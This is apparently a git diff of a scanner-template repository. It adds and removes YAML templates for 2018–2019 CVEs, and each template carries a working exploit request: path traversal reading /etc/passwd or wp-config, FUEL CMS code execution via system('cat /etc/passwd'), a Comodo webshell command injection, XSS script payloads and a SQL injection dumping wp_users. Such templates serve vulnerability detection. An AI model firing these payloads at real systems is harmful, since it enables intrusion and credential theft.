a/poc/cve/cve-2018-16133-3358.yaml b/poc/cve/cve-2018-16133-3358.yaml new file mode 100644 index 0000000000..bf652a55d2 --- /dev/null +++ b/poc/cve/cve-2018-16133-3358.yaml @@ -0,0 +1,31 @@ +id: CVE-2018-16133 +info: + name: Cybrotech CyBroHttpServer 1.0.3 Directory Traversal + author: 0x_Akoko + severity: medium + description: Cybrotech CyBroHttpServer 1.0.3 allows Directory Traversal in the URI. + reference: + - https://packetstormsecurity.com/files/149177/Cybrotech-CyBroHttpServer-1.0.3-Directory-Traversal.html + - http://www.cybrotech.com/ + - https://www.cvedetails.com/cve/CVE-2018-16133 + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N + cvss-score: 5.3 + cve-id: CVE-2018-16133 + cwe-id: CWE-22 + tags: cve,cve2018,cybrotech,lfi +requests: + - raw: + - |+ + GET \..\..\..\..\Windows\win.ini HTTP/1.1 + Host: {{Hostname}} + + unsafe: true + matchers: + - type: word + part: body + words: + - "bit app support" + - "fonts" + - "extensions" + condition: and diff --git a/poc/cve/cve-2018-16299-3373.yaml b/poc/cve/cve-2018-16299-3373.yaml new file mode 100644 index 0000000000..595e32acc7 --- /dev/null +++ b/poc/cve/cve-2018-16299-3373.yaml @@ -0,0 +1,29 @@ +id: CVE-2018-16299 +info: + name: WordPress Plugin Localize My Post 1.0 - LFI + author: 0x_Akoko,0x240x23elu + severity: high + description: The Localize My Post plugin 1.0 for WordPress allows Directory Traversal via the ajax/include.php file parameter. + reference: + - https://www.exploit-db.com/exploits/45439 + - https://www.exploit-db.com/exploits/45439/ + - https://packetstormsecurity.com/files/149433/WordPress-Localize-My-Post-1.0-Local-File-Inclusion.html + - https://github.com/julianburr/wp-plugin-localizemypost/issues/1 + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cve-id: CVE-2018-16299 + cwe-id: CWE-22 + tags: wordpress,cve2018,cve,lfi,plugin +requests: + - method: GET + path: + - "{{BaseURL}}/wp-content/plugins/localize-my-post/ajax/include.php?file=../../../../../../../../../../etc/passwd" + matchers-condition: and + matchers: + - type: regex + regex: + - "root:.*:0:0:" + - type: status + status: + - 200 diff --git a/poc/cve/cve-2018-16763.yaml b/poc/cve/cve-2018-16763.yaml new file mode 100644 index 0000000000..ba3213c334 --- /dev/null +++ b/poc/cve/cve-2018-16763.yaml @@ -0,0 +1,45 @@ +id: CVE-2018-16763 + +info: + name: FUEL CMS 1.4.1 - Remote Code Execution + author: pikpikcu + severity: critical + description: FUEL CMS 1.4.1 allows PHP Code Evaluation via the pages/select/ filter parameter or the preview/ data parameter. + remediation: | + Upgrade to FUEL CMS version 1.4.2 or later, which includes a patch for this vulnerability. + reference: + - https://www.exploit-db.com/exploits/47138 + - https://www.getfuelcms.com/ + - https://github.com/daylightstudio/FUEL-CMS/releases/tag/1.4.1 + - https://nvd.nist.gov/vuln/detail/CVE-2018-16763 + - https://github.com/daylightstudio/FUEL-CMS/issues/478 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 + cve-id: CVE-2018-16763 + cwe-id: CWE-74 + epss-score: 0.83439 + epss-percentile: 0.98134 + cpe: cpe:2.3:a:thedaylightstudio:fuel_cms:*:*:*:*:*:*:*:* + metadata: + max-request: 1 + vendor: thedaylightstudio + product: fuel_cms + tags: cve,cve2018,fuelcms,rce,edb + +http: + - raw: + - | + GET /fuel/pages/select/?filter=%27%2bpi(print(%24a%3d%27system%27))%2b%24a(%27cat%20/etc/passwd%27)%2b%27 HTTP/1.1 + Host: {{Hostname}} + + matchers-condition: and + matchers: + - type: regex + regex: + - "root:.*:0:0:" + + - type: status + status: + - 200 +# digest: 4b0a00483046022100c434c244d2d4f8929cd50ad20a29fbf1e19649faf664266017d8c777dbe3cca9022100cd4be588d7137e981c25c7d7faacb4b36672ebd2b2b2b30d737695886452d58b:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/cve-2018-17431-3423.yaml b/poc/cve/cve-2018-17431-3423.yaml deleted file mode 100644 index 43bc26ce6b..0000000000 --- a/poc/cve/cve-2018-17431-3423.yaml +++ /dev/null @@ -1,38 +0,0 @@ -id: CVE-2018-17431 -info: - name: Comodo Unified Threat Management Web Console - Remote Code Execution - author: dwisiswant0 - severity: critical - description: Comodo Firewall & Central Manager (UTM) All Release before 2.7.0 & 1.5.0 are susceptible to a web shell based remote code execution vulnerability. - reference: - - https://www.exploit-db.com/exploits/48825 - - https://secure.comodo.com/home/purchase.php?pid=106&license=try&track=9276&af=9276 - - https://nvd.nist.gov/vuln/detail/CVE-2018-17431 - - https://github.com/Fadavvi/CVE-2018-17431-PoC#confirmation-than-bug-exist-2018-09-25-ticket-id-xwr-503-79437 - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.8 - cve-id: CVE-2018-17431 - cwe-id: CWE-287 - tags: cve,cve2018,comodo,rce -requests: - - raw: - - | - GET /manage/webshell/u?s=5&w=218&h=15&k=%73%65%72%76%69%63%65%0a%73%73%68%0a%64%69%73%61%62%6c%65%0a&l=62&_=5621298674064 HTTP/1.1 - Host: {{Hostname}} - Connection: close - - | # to triggering RCE - GET /manage/webshell/u?s=5&w=218&h=15&k=%0a&l=62&_=5621298674064 HTTP/1.1 - Host: {{Hostname}} - Connection: close - matchers-condition: and - matchers: - - type: word - words: - - "Configuration has been altered" - part: body - - type: status - status: - - 200 - -# Enhanced by mp on 2022/05/13 diff --git a/poc/cve/cve-2018-18323-3439.yaml b/poc/cve/cve-2018-18323-3439.yaml deleted file mode 100644 index fd41e56d1e..0000000000 --- a/poc/cve/cve-2018-18323-3439.yaml +++ /dev/null @@ -1,28 +0,0 @@ -id: CVE-2018-18323 -info: - name: Centos Web Panel 0.9.8.480 LFI - author: 0x_Akoko - severity: high - description: Centos Web Panel version 0.9.8.480 suffers from code execution, cross site scripting, and local file inclusion vulnerabilities. - reference: - - https://packetstormsecurity.com/files/149795/Centos-Web-Panel-0.9.8.480-XSS-LFI-Code-Execution.html - - http://centos-webpanel.com/ - - https://www.cvedetails.com/cve/CVE-2018-18323 - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - cvss-score: 7.5 - cve-id: CVE-2018-18323 - cwe-id: CWE-22 - tags: cve,cve2018,centos,lfi -requests: - - method: GET - path: - - "{{BaseURL}}/admin/index.php?module=file_editor&file=/../../../../../../../../../../../etc/passwd" - matchers-condition: and - matchers: - - type: regex - regex: - - "root:[x*]:0:0" - - type: status - status: - - 200 diff --git a/poc/cve/cve-2018-18775-3446.yaml b/poc/cve/cve-2018-18775-3446.yaml new file mode 100644 index 0000000000..a25916727e --- /dev/null +++ b/poc/cve/cve-2018-18775-3446.yaml @@ -0,0 +1,25 @@ +id: CVE-2018-18775 +info: + author: 0x_Akoko + description: Microstrategy Web, version 7, does not sufficiently encode user-controlled inputs, resulting in a Cross-Site Scripting (XSS) vulnerability via the Login.asp Msg parameter + name: Cross Site Scripting in Microstrategy Web version 7 + severity: medium + tags: microstrategy,xss + reference: https://www.exploit-db.com/exploits/45755 +requests: + - method: GET + path: + - '{{BaseURL}}/microstrategy7/Login.asp?Server=Server001&Project=Project001&Port=0&Uid=Uid001&Msg=%22%3E%3Cscript%3Ealert(/{{randstr}}/)%3B%3C%2Fscript%3E%3C' + matchers-condition: and + matchers: + - type: status + status: + - 200 + - type: word + words: + - "" + part: body + - type: word + words: + - "text/html" + part: header diff --git a/poc/cve/cve-2018-18925-3462.yaml b/poc/cve/cve-2018-18925-3462.yaml deleted file mode 100644 index 007d213abd..0000000000 --- a/poc/cve/cve-2018-18925-3462.yaml +++ /dev/null @@ -1,35 +0,0 @@ -id: CVE-2018-18925 -info: - name: Gogs (Go Git Service) 0.11.66 - Remote Code Execution - author: princechaddha - severity: critical - description: Gogs 0.11.66 allows remote code execution because it does not properly validate session IDs, as demonstrated by a ".." session-file forgery in the file session provider in file.go. This is related to session ID handling in the go-macaron/session code for Macaron. - reference: - - https://www.anquanke.com/post/id/163575 - - https://github.com/vulhub/vulhub/tree/master/gogs/CVE-2018-18925 - - https://nvd.nist.gov/vuln/detail/cve-2018-18925 - - https://github.com/gogs/gogs/issues/5469 - remediation: This issue will be fixed by updating to the latest version of Gogs. - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.8 - cve-id: CVE-2018-18925 - cwe-id: CWE-384 - tags: cve,cve2018,gogs,lfi,rce -requests: - - raw: - - | - GET / HTTP/1.1 - Host: {{Hostname}} - Cookie: lang=en-US; i_like_gogits=../../../../etc/passwd; - - | - GET / HTTP/1.1 - Host: {{Hostname}} - Cookie: lang=en-US; i_like_gogits=../../../../etc/dummy; - req-condition: true - matchers: - - type: dsl - dsl: - - 'status_code_1 == 500 && status_code_2 == 200 && contains(body_2, "")' - -# Enhanced by mp on 2022/05/13 diff --git a/poc/cve/cve-2018-19386.yaml b/poc/cve/cve-2018-19386.yaml new file mode 100644 index 0000000000..99c0432e06 --- /dev/null +++ b/poc/cve/cve-2018-19386.yaml @@ -0,0 +1,42 @@ +id: CVE-2018-19386 + +info: + name: SolarWinds Database Performance Analyzer 11.1.457 - Cross-Site Scripting + author: pikpikcu + severity: medium + description: SolarWinds Database Performance Analyzer 11.1.457 contains a reflected cross-site scripting vulnerability in its idcStateError component, where the page parameter is reflected into the HREF of the 'Try Again' Button on the page, aka a /iwc/idcStateError.iwc?page= URI. + remediation: | + Apply the latest patch or upgrade to a non-vulnerable version of SolarWinds Database Performance Analyzer. + reference: + - https://i.imgur.com/Y7t2AD6.png + - https://medium.com/greenwolf-security/reflected-xss-in-solarwinds-database-performance-analyzer-988bd7a5cd5 + - https://nvd.nist.gov/vuln/detail/CVE-2018-19386 + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.1 + cve-id: CVE-2018-19386 + cwe-id: CWE-79 + epss-score: 0.00177 + epss-percentile: 0.54825 + cpe: cpe:2.3:a:solarwinds:database_performance_analyzer:11.1.457:*:*:*:*:*:*:* + metadata: + max-request: 1 + vendor: solarwinds + product: database_performance_analyzer + tags: cve,cve2018,solarwinds,xss + +http: + - method: GET + path: + - "{{BaseURL}}/iwc/idcStateError.iwc?page=javascript%3aalert(document.domain)%2f%2f" + + matchers-condition: and + matchers: + - type: word + words: + - '
' - - type: word - part: header - words: - - text/html - - type: status - status: - - 200 diff --git a/poc/cve/cve-2018-19914(1).yaml b/poc/cve/cve-2018-19914(1).yaml new file mode 100644 index 0000000000..f74e59b810 --- /dev/null +++ b/poc/cve/cve-2018-19914(1).yaml @@ -0,0 +1,46 @@ +id: CVE-2018-19914 +info: + name: DomainMOD 4.11.01 - Cross-Site Scripting + author: arafatansari + severity: medium + description: | + DomainMOD 4.11.01 is vulnerable to Cross Site Scripting (XSS) via assets/add/dns.php Profile Name or notes field. + reference: + - https://www.exploit-db.com/exploits/46375/ + - https://github.com/domainmod/domainmod/issues/87 + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N + cvss-score: 4.8 + cve-id: CVE-2018-19914 + cwe-id: CWE-79 + metadata: + verified: "true" + tags: cve,cve2018,domainmod,xss,authenticated +requests: + - raw: + - | + POST / HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + + new_username={{username}}&new_password={{password}} + - | + POST /assets/add/dns.php HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + + new_name=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&new_dns1=abc&new_ip1=&new_dns2=abc&new_ip2=&new_dns3=abc&new_ip3=&new_dns4=&new_ip4=&new_dns5=&new_ip5=&new_dns6=&new_ip6=&new_dns7=&new_ip7=&new_dns8=&new_ip8=&new_dns9=&new_ip9=&new_dns10=&new_ip10=&new_notes=%3Cscript%3Ealert%281%29%3C%2Fscript%3E + - | + GET /assets/dns.php HTTP/1.1 + Host: {{Hostname}} + cookie-reuse: true + redirects: true + max-redirects: 2 + req-condition: true + matchers: + - type: dsl + dsl: + - 'status_code_3 == 200' + - 'contains(all_headers_3, "text/html")' + - 'contains(body_3, ">")' + condition: and diff --git a/poc/cve/cve-2018-19915(1).yaml b/poc/cve/cve-2018-19915(1).yaml deleted file mode 100644 index f397373f28..0000000000 --- a/poc/cve/cve-2018-19915(1).yaml +++ /dev/null @@ -1,47 +0,0 @@ -id: CVE-2018-19915 -info: - name: DomainMOD 4.11.01 - Cross-Site Scripting - author: arafatansari - severity: medium - description: | - DomainMOD through 4.11.01 has XSS via the assets/edit/host.php Web Host Name or Web Host URL field. - reference: - - https://github.com/domainmod/domainmod/issues/87 - - https://www.exploit-db.com/exploits/46376/ - - https://nvd.nist.gov/vuln/detail/CVE-2018-19915 - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N - cvss-score: 4.8 - cve-id: CVE-2018-19915 - cwe-id: CWE-79 - metadata: - verified: true - tags: cve,cve2018,domainmod,xss,authenticated -requests: - - raw: - - | - POST / HTTP/1.1 - Host: {{Hostname}} - Content-Type: application/x-www-form-urlencoded - - new_username={{username}}&new_password={{password}} - - | - POST /assets/add/host.php HTTP/1.1 - Host: {{Hostname}} - Content-Type: application/x-www-form-urlencoded - - new_host=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&new_url=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&new_notes=test - - | - GET /assets/hosting.php HTTP/1.1 - Host: {{Hostname}} - cookie-reuse: true - redirects: true - max-redirects: 2 - req-condition: true - matchers: - - type: dsl - dsl: - - 'status_code_3 == 200' - - 'contains(all_headers_3, "text/html")' - - 'contains(body_3, ">")' - condition: and diff --git a/poc/cve/cve-2018-20009(1).yaml b/poc/cve/cve-2018-20009(1).yaml new file mode 100644 index 0000000000..e6a0801a38 --- /dev/null +++ b/poc/cve/cve-2018-20009(1).yaml @@ -0,0 +1,47 @@ +id: CVE-2018-20009 +info: + name: DomainMOD 4.11.01 - Cross-Site Scripting + author: arafatansari + severity: medium + description: | + DomainMOD 4.11.01 is vulnerable to Cross Site Scripting (XSS) via /assets/add/ssl-provider.php ssl-provider-name, ssl-provider's-url parameters. + reference: + - https://github.com/domainmod/domainmod/issues/88 + - https://nvd.nist.gov/vuln/detail/CVE-2018-20009 + - https://www.exploit-db.com/exploits/46372/ + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N + cvss-score: 4.8 + cve-id: CVE-2018-20009 + cwe-id: CWE-79 + metadata: + verified: true + tags: cve,cve2018,domainmod,xss,authenticated +requests: + - raw: + - | + POST / HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + + new_username={{username}}&new_password={{password}} + - | + POST /assets/add/ssl-provider.php HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + + new_ssl_provider=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&new_url=&new_notes= + - | + GET /assets/ssl-providers.php HTTP/1.1 + Host: {{Hostname}} + cookie-reuse: true + redirects: true + max-redirects: 2 + req-condition: true + matchers: + - type: dsl + dsl: + - 'status_code_3 == 200' + - 'contains(all_headers_3, "text/html")' + - 'contains(body_3, ">")' + condition: and diff --git a/poc/cve/cve-2018-20985-3507.yaml b/poc/cve/cve-2018-20985-3507.yaml new file mode 100644 index 0000000000..c641ac61ca --- /dev/null +++ b/poc/cve/cve-2018-20985-3507.yaml @@ -0,0 +1,35 @@ +id: CVE-2018-20985 +info: + name: WordPress Payeezy Pay <=2.97 - Local File Inclusion + author: daffainfo + severity: critical + description: WordPress Plugin WP Payeezy Pay is prone to a local file inclusion vulnerability because it fails to sufficiently verify user-supplied input. Exploiting this issue may allow an attacker to obtain sensitive information that could aid in further attacks. WordPress Plugin WP Payeezy Pay version 2.97 is vulnerable; prior versions are also affected. + reference: + - https://www.pluginvulnerabilities.com/2018/12/06/our-improved-proactive-monitoring-has-now-caught-a-local-file-inclusion-lfi-vulnerability-as-well/ + - https://wordpress.org/plugins/wp-payeezy-pay/#developers + - https://www.cvedetails.com/cve/CVE-2018-20985/ + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 + cve-id: CVE-2018-20985 + cwe-id: CWE-20 + tags: cve,cve2018,wordpress,lfi,plugin +requests: + - method: POST + path: + - "{{BaseURL}}/wp-content/plugins/wp-payeezy-pay/donate.php" + body: "x_login=../../../wp-config" + matchers-condition: and + matchers: + - type: word + words: + - "The base configuration for WordPress" + - "define( 'DB_NAME'," + - "define( 'DB_PASSWORD'," + condition: and + part: body + - type: status + status: + - 200 + +# Enhanced by mp on 2022/05/13 diff --git a/poc/cve/cve-2018-6008-3574.yaml b/poc/cve/cve-2018-6008-3574.yaml deleted file mode 100644 index 1e302599a3..0000000000 --- a/poc/cve/cve-2018-6008-3574.yaml +++ /dev/null @@ -1,36 +0,0 @@ -id: CVE-2018-6008 - -info: - name: Joomla! Jtag Members Directory 5.3.7 - Local File Inclusion - author: daffainfo - severity: high - description: Joomla! Jtag Members Directory 5.3.7 is vulnerable to local file inclusion via the download_file parameter. - reference: - - https://www.exploit-db.com/exploits/43913 - - https://www.cvedetails.com/cve/CVE-2018-6008 - - https://packetstormsecurity.com/files/146137/Joomla-Jtag-Members-Directory-5.3.7-Arbitrary-File-Download.html - - https://nvd.nist.gov/vuln/detail/CVE-2018-6008 - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - cvss-score: 7.5 - cve-id: CVE-2018-6008 - cwe-id: CWE-200 - tags: cve,cve2018,joomla,lfi - -requests: - - method: GET - path: - - "{{BaseURL}}/index.php?option=com_jtagmembersdirectory&task=attachment&download_file=../../../../../../../../../../../etc/passwd" - - matchers-condition: and - matchers: - - - type: regex - regex: - - "root:.*:0:0:" - - - type: status - status: - - 200 - -# Enhanced by mp on 2022/07/08 diff --git a/poc/cve/cve-2018-7251-3587.yaml b/poc/cve/cve-2018-7251-3587.yaml new file mode 100644 index 0000000000..17ebdb1a9e --- /dev/null +++ b/poc/cve/cve-2018-7251-3587.yaml @@ -0,0 +1,31 @@ +id: CVE-2018-7251 + +info: + name: AnchorCMS Error Log Exposure + author: pdteam + severity: critical + tags: cve,cve2018,anchorcms,logs,error + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.80 + cve-id: CVE-2018-7251 + cwe-id: CWE-200 + description: "An issue was discovered in config/error.php in Anchor 0.12.3. The error log is exposed at an errors.log URI, and contains MySQL credentials if a MySQL error (such as \"Too many connections\") has occurred." + reference: + - https://github.com/anchorcms/anchor-cms/issues/1247 + - http://www.andmp.com/2018/02/advisory-assigned-CVE-2018-7251-in-anchorcms.html + - https://twitter.com/finnwea/status/965279233030393856 + - http://packetstormsecurity.com/files/154723/Anchor-CMS-0.12.3a-Information-Disclosure.html + - https://github.com/anchorcms/anchor-cms/releases/tag/0.12.7 + +requests: + - method: GET + path: + - '{{BaseURL}}/anchor/errors.log' + matchers: + - type: word + words: + - '"date":' + - '"message":' + - '"trace":[' + condition: and diff --git a/poc/cve/cve-2018-7662-3617.yaml b/poc/cve/cve-2018-7662-3617.yaml deleted file mode 100644 index 54c7a36a08..0000000000 --- a/poc/cve/cve-2018-7662-3617.yaml +++ /dev/null @@ -1,37 +0,0 @@ -id: CVE-2018-7662 -info: - name: CouchCMS <= 2.0 - Path Disclosure - author: ritikchaddha - severity: medium - description: CouchCMS <= 2.0 allows remote attackers to discover the full path via a direct request to includes/mysql2i/mysql2i.func.php or addons/phpmailer/phpmailer.php. - reference: - - https://github.com/CouchCMS/CouchCMS/issues/46 - - https://nvd.nist.gov/vuln/detail/CVE-2018-7662 - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N - cvss-score: 5.3 - cve-id: CVE-2018-7662 - cwe-id: CWE-200 - tags: couchcms,fpd,cve,cve2018 -requests: - - method: GET - path: - - "{{BaseURL}}/includes/mysql2i/mysql2i.func.php" - - "{{BaseURL}}/addons/phpmailer/phpmailer.php" - stop-at-first-match: true - matchers-condition: or - matchers: - - type: word - part: body - words: - - "mysql2i.func.php on line 10" - - "Fatal error: Cannot redeclare mysql_affected_rows() in" - condition: and - - type: word - part: body - words: - - "phpmailer.php on line 10" - - "Fatal error: Call to a menber function add_event_listener() on a non-object in" - condition: and - -# Enhanced by mp on 2022/04/21 diff --git a/poc/cve/cve-2018-8727-3645.yaml b/poc/cve/cve-2018-8727-3645.yaml new file mode 100644 index 0000000000..6c96472e1f --- /dev/null +++ b/poc/cve/cve-2018-8727-3645.yaml @@ -0,0 +1,31 @@ +id: CVE-2018-8727 +info: + name: Mirasys DVMS Workstation <=5.12.6 - Local File Inclusion + author: 0x_akoko + severity: high + description: | + Mirasys DVMS Workstation versions 5.12.6 and prior suffer from local file inclusion vulnerabilities. + reference: + - https://packetstormsecurity.com/files/148266/Mirasys-DVMS-Workstation-5.12.6-Path-Traversal.html + - https://www.onvio.nl/nieuws/cve-mirasys-vulnerability + - https://nvd.nist.gov/vuln/detail/CVE-2018-8727 + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cve-id: CVE-2018-8727 + cwe-id: CWE-22 + tags: cve,cve2018,mirasys,lfi +requests: + - method: GET + path: + - "{{BaseURL}}/.../.../.../.../.../.../.../.../.../windows/win.ini" + matchers: + - type: word + part: body + words: + - "bit app support" + - "fonts" + - "extensions" + condition: and + +# Enhanced by mp on 2022/06/17 diff --git a/poc/cve/cve-2018-9205-3660.yaml b/poc/cve/cve-2018-9205-3660.yaml deleted file mode 100644 index 0dc38f0664..0000000000 --- a/poc/cve/cve-2018-9205-3660.yaml +++ /dev/null @@ -1,35 +0,0 @@ -id: CVE-2018-9205 - -info: - name: Drupal avatar_uploader v7.x-1.0-beta8 Local File Inclusion - author: daffainfo - severity: high - description: In avatar_uploader v7.x-1.0-beta8 the view.php program doesn't restrict file paths, allowing unauthenticated users to retrieve arbitrary files. - remediation: Upgrade to the latest version of avatar_uploader. - reference: - - https://www.exploit-db.com/exploits/44501 - - https://nvd.nist.gov/vuln/detail/CVE-2018-9205 - tags: cve,cve2018,lfi,drupal - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - cvss-score: 7.50 - cve-id: CVE-2018-9205 - cwe-id: CWE-22 - -requests: - - method: GET - path: - - "{{BaseURL}}/sites/all/modules/avatar_uploader/lib/demo/view.php?file=../../../../../../../../../../../etc/passwd" - - matchers-condition: and - matchers: - - - type: regex - regex: - - "root:.*:0:0:" - - - type: status - status: - - 200 - -# Enhanced by cs on 2022/02/25 diff --git "a/poc/cve/cve-2018\342\200\22314064(1).yaml" "b/poc/cve/cve-2018\342\200\22314064.yaml" similarity index 100% rename from "poc/cve/cve-2018\342\200\22314064(1).yaml" rename to "poc/cve/cve-2018\342\200\22314064.yaml" diff --git a/poc/cve/cve-2019-1010290-3700.yaml b/poc/cve/cve-2019-1010290-3700.yaml deleted file mode 100644 index 689faa6fcc..0000000000 --- a/poc/cve/cve-2019-1010290-3700.yaml +++ /dev/null @@ -1,25 +0,0 @@ -id: CVE-2019-1010290 -info: - name: Babel - Open Redirection - author: 0x_Akoko - severity: medium - description: Babel Multilingual site Babel All is affected by Open Redirection The impact is Redirection to any URL, which is supplied to redirect in a newurl parameter. The component is redirect The attack vector is The victim must open a link created by an attacker - reference: - - https://untrustednetwork.net/en/2019/02/20/open-redirection-vulnerability-in-babel/ - - https://www.cvedetails.com/cve/CVE-2019-1010290 - - http://dev.cmsmadesimple.org/project/files/729 - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.1 - cve-id: CVE-2019-1010290 - cwe-id: CWE-601 - tags: cve,cve2019,redirect,babel -requests: - - method: GET - path: - - '{{BaseURL}}/modules/babel/redirect.php?newurl=http://example.com' - matchers: - - type: regex - part: header - regex: - - '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)?(?:[a-zA-Z0-9\-_\.@]*)attacker\.com\/?(\/|[^.].*)?$' # https://regex101.com/r/ZDYhFh/1 diff --git a/poc/cve/cve-2019-10692(1).yaml b/poc/cve/cve-2019-10692(1).yaml new file mode 100644 index 0000000000..66751d09e7 --- /dev/null +++ b/poc/cve/cve-2019-10692(1).yaml @@ -0,0 +1,35 @@ +id: CVE-2019-10692 +info: + name: WP Google Maps < 7.11.18 - Unauthenticated SQL Injection + author: pussycat0x + severity: critical + description: | + In the wp-google-maps plugin before 7.11.18 for WordPress, + includes/class.rest-api.php in the REST API does not sanitize field names + before a SELECT statement. + reference: + - https://wpscan.com/vulnerability/475404ce-2a1a-4d15-bf02-df0ea2afdaea + - https://nvd.nist.gov/vuln/detail/CVE-2019-10692 + metadata: + verified: true + tags: cve,cve2019,sqli,wp,wordpress,wp-plugin,unauth,googlemaps +requests: + - method: GET + path: + - "{{BaseURL}}/?rest_route=/wpgmza/v1/markers&filter=%7b%7d&fields=%2a%20from%20wp_users--%20-" + matchers-condition: and + matchers: + - type: word + part: body + words: + - '"user_login"' + - '"user_pass"' + - '"user_nicename"' + condition: and + - type: word + part: header + words: + - application/json + - type: status + status: + - 200 diff --git a/poc/cve/cve-2019-10717(1).yaml b/poc/cve/cve-2019-10717(1).yaml deleted file mode 100644 index b8437cc1af..0000000000 --- a/poc/cve/cve-2019-10717(1).yaml +++ /dev/null @@ -1,38 +0,0 @@ -id: CVE-2019-10717 -info: - name: BlogEngine.NET 3.3.7.0 - Local File Inclusion - author: arafatansari - severity: high - description: | - BlogEngine.NET 3.3.7.0 allows /api/filemanager local file inclusion via the path parameter - reference: - - https://www.securitymetrics.com/blog/Blogenginenet-Directory-Traversal-Listing-Login-Page-Unvalidated-Redirect - - https://github.com/rxtur/BlogEngine.NET/commits/master - - https://nvd.nist.gov/vuln/detail/CVE-2019-10717 - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N - cvss-score: 7.1 - cve-id: CVE-2019-10717 - cwe-id: CWE-22 - metadata: - shodan-query: http.html:"Blogengine.net" - verified: "true" - tags: cve,cve2019,blogengine,lfi,traversal -requests: - - method: GET - path: - - "{{BaseURL}}/api/filemanager?path=%2F..%2f..%2fContent" - matchers-condition: and - matchers: - - type: regex - regex: - - '~/App_Data/files/../../([a-zA-Z0-9\.\-]+)/([a-z0-9]+)' - - type: word - part: header - words: - - "application/json" - - type: status - status: - - 200 - -# Enhanced by mp on 2022/08/03 diff --git a/poc/cve/cve-2019-11869-3764.yaml b/poc/cve/cve-2019-11869-3764.yaml new file mode 100644 index 0000000000..9c68042cfd --- /dev/null +++ b/poc/cve/cve-2019-11869-3764.yaml @@ -0,0 +1,47 @@ +id: CVE-2019-11869 + +info: + name: Yuzo Related Posts plugin XSS + author: ganofins + severity: medium + description: | + The Yuzo Related Posts plugin before 5.12.94 for WordPress has XSS + because it mistakenly expects that is_admin() verifies that the + request comes from an admin user (it actually only verifies that the + request is for an admin page). An unauthenticated attacker can inject + a payload into the plugin settings, such as the + yuzo_related_post_css_and_style setting. + + reference: + - https://www.wordfence.com/blog/2019/04/yuzo-related-posts-zero-day-vulnerability-exploited-in-the-wild + - https://wpscan.com/vulnerability/9254 + tags: cve,cve2019,wordpress,wp-plugin,xss + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.10 + cve-id: CVE-2019-11869 + cwe-id: CWE-79 + +requests: + - raw: + - | + POST /wp-admin/options-general.php?page=yuzo-related-post HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + + yuzo_related_post_css_and_style= + + - | + GET / HTTP/1.1 + Host: {{Hostname}} + + req-condition: true + matchers-condition: and + matchers: + - type: dsl + dsl: + - 'contains(body_2, "")' + + - type: dsl + dsl: + - "contains(tolower(all_headers_2), 'text/html')" \ No newline at end of file diff --git a/poc/cve/cve-2019-12314.yaml b/poc/cve/cve-2019-12314.yaml deleted file mode 100644 index 8de041d216..0000000000 --- a/poc/cve/cve-2019-12314.yaml +++ /dev/null @@ -1,43 +0,0 @@ -id: CVE-2019-12314 - -info: - name: Deltek Maconomy 2.2.5 - Local File Inclusion - author: madrobot - severity: critical - description: Deltek Maconomy 2.2.5 is prone to local file inclusion via absolute path traversal in the WS.macx1.W_MCS/ PATH_INFO, as demonstrated by a cgi-bin/Maconomy/MaconomyWS.macx1.W_MCS/etc/passwd URI. - remediation: | - Apply the latest security patches or updates provided by the vendor to fix the LFI vulnerability in Deltek Maconomy 2.2.5. - reference: - - http://packetstormsecurity.com/files/153079/Deltek-Maconomy-2.2.5-Local-File-Inclusion.html - - https://github.com/ras313/CVE-2019-12314/security/advisories/GHSA-8762-rf4g-23xm - - https://github.com/JameelNabbo/exploits/blob/master/Maconomy%20Erp%20local%20file%20include.txt - classification: - cvss-metrics: 